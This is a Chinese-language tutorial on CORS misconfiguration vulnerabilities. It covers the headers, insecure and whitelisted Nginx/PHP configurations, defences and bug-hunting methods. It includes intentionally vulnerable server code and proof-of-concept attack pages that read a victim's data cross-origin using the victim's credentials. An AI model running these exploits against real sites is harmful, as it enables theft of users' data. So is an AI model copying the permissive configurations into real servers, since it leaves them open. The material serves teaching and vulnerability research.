浅析CORS攻击及其挖洞思路
字数 1763 2025-08-25 22:59:03
CORS攻击分析与防御指南
0x00 CORS机制概述
CORS全名跨域资源共享(Cross-Origin-Resourece-sharing),该机制主要解决浏览器同源策略所带来的不便,使不同域的应用能够无视同源策略,进行信息传递。
同源策略限制
- 协议相同
- 域名相同
- 端口相同
CORS工作原理
通过设置HTTP头部字段,让客户端有资格跨域访问资源。服务器验证和授权后,浏览器根据HTTP头部字段决定是否允许跨域访问。
0x01 CORS相关HTTP头部字段
请求头字段
| 字段 | 说明 |
|---|---|
| Origin | 表明预检请求或实际请求的源站URI,浏览器请求默认会发送该字段 |
| Access-Control-Request-Method | 将实际请求所使用的HTTP方法告知服务器 |
| Access-Control-Request-Headers | 将实际请求所携带的首部字段告知服务器 |
响应头字段
| 字段 | 说明 |
|---|---|
| Access-Control-Allow-Origin(ACAO) | 指定允许访问资源的外域URI,对于携带身份凭证的请求不可使用通配符* |
| Access-Control-Allow-Credentials | 是否允许浏览器读取response的内容 |
| Access-Control-Allow-Methods | 允许的HTTP方法 |
| Access-Control-Allow-Headers | 允许的请求头 |
| Access-Control-Max-Age | 预检请求的有效期 |
0x02 CORS配置方式
Nginx配置示例
不安全配置示例1:
location / {
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
if ($request_method = 'OPTIONS') {
return 204;
}
}
不安全配置示例2:
location / {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
相对安全配置(白名单检查):
location / {
# 检查域名后缀
if ($http_origin ~ \.test\.com) {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
# options请求不转给后端,直接返回204
}
PHP配置示例
1. 允许所有源(不安全):
header("Access-Control-Allow-Origin: *");
2. 允许来自特定源的访问(不安全):
header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']);
3. 配置多个访问源(相对安全):
$allowed_origins = array(
"http://www.example.com",
"http://app.example.com",
"http://cms.example.com",
);
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){
@header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
}
0x03 CORS攻击思路
攻击场景分类
-
公有资源泄露
- 配置:
Access-Control-Allow-Origin:* - 影响: 任意网站可读取该接口数据
- 配置:
-
授权信息泄露
- 配置:
header("Access-Control-Allow-Origin: http://attacker.com"); header("Access-Control-Allow-Credentials: true"); - 影响: 可窃取用户敏感数据
- 配置:
攻击示例
1. 简单信息泄露攻击
漏洞代码(vuln.php):
header("Access-Control-Allow-Origin: *");
$value = "mySecretIs123456";
setcookie("pass", $value, time()+3600*24);
?>
<!DOCTYPE html>
<html>
<head>
<script>
window.onload = function(){
document.body.innerHTML = document.cookie;
}
</script>
</head>
<body>
</body>
</html>
攻击代码(exp.php):
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
xhttp.send();
}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
2. API接口信息获取
漏洞代码(apiVuln.php):
header("Access-Control-Allow-Origin: *");
header("content-type:application/json");
$info = array('user' => 'xq17', 'pass' => '123456');
echo json_encode($info);
3. 带凭证的敏感信息泄露
漏洞代码(vuln.php):
header("Access-Control-Allow-Origin: http://attack.com:8888");
header("Access-Control-Allow-Credentials: true");
session_start();
if (@$_SESSION["user"] == "admin"){
$info = array('user' => 'xq17', 'pass' => '123456');
echo json_encode($info);
} else {
echo "login fail!";
echo '<a href="login.php">登陆</a>';
}
攻击代码(exp.php):
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
0x04 CORS漏洞判断关键点
-
公有资源泄露判断:
Access-Control-Allow-Origin:*
-
授权信息泄露判断:
Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin不为*且可控
0x05 CORS防御方案
-
严格白名单控制
- 仅允许可信域名
- 规范化正则表达式
-
安全配置原则
- 避免使用
Access-Control-Allow-Origin: * - 当使用
Access-Control-Allow-Credentials: true时,必须指定具体域名 - 只允许HTTPS协议
- 避免使用
-
其他建议
- 敏感操作增加CSRF Token
- 关键操作使用SameSite Cookie属性
- 限制允许的HTTP方法
0x06 CORS漏洞挖掘方法
-
手工测试
- 修改Origin头测试响应
- 测试
Access-Control-Allow-Credentials配置
-
Burp Suite自动化
- 使用Match and Replace自动添加Origin头
Proxy -> Options -> Match and Replace -> Add 勾选"Request header" Name: Origin Value: http://attacker.com -
扫描工具
- 使用CORS扫描插件
- 编写自定义脚本批量测试
0x07 总结
CORS配置不当漏洞通常表现为:
- 过度宽松的
Access-Control-Allow-Origin设置 - 不安全的
Access-Control-Allow-Credentials配置 - 不严谨的正则表达式匹配
防御关键在于:
- 严格的白名单控制
- 最小权限原则
- 敏感接口的特殊保护
此类漏洞在SRC中一般为中危漏洞,适合用于提升排名,但实际危害取决于具体业务场景。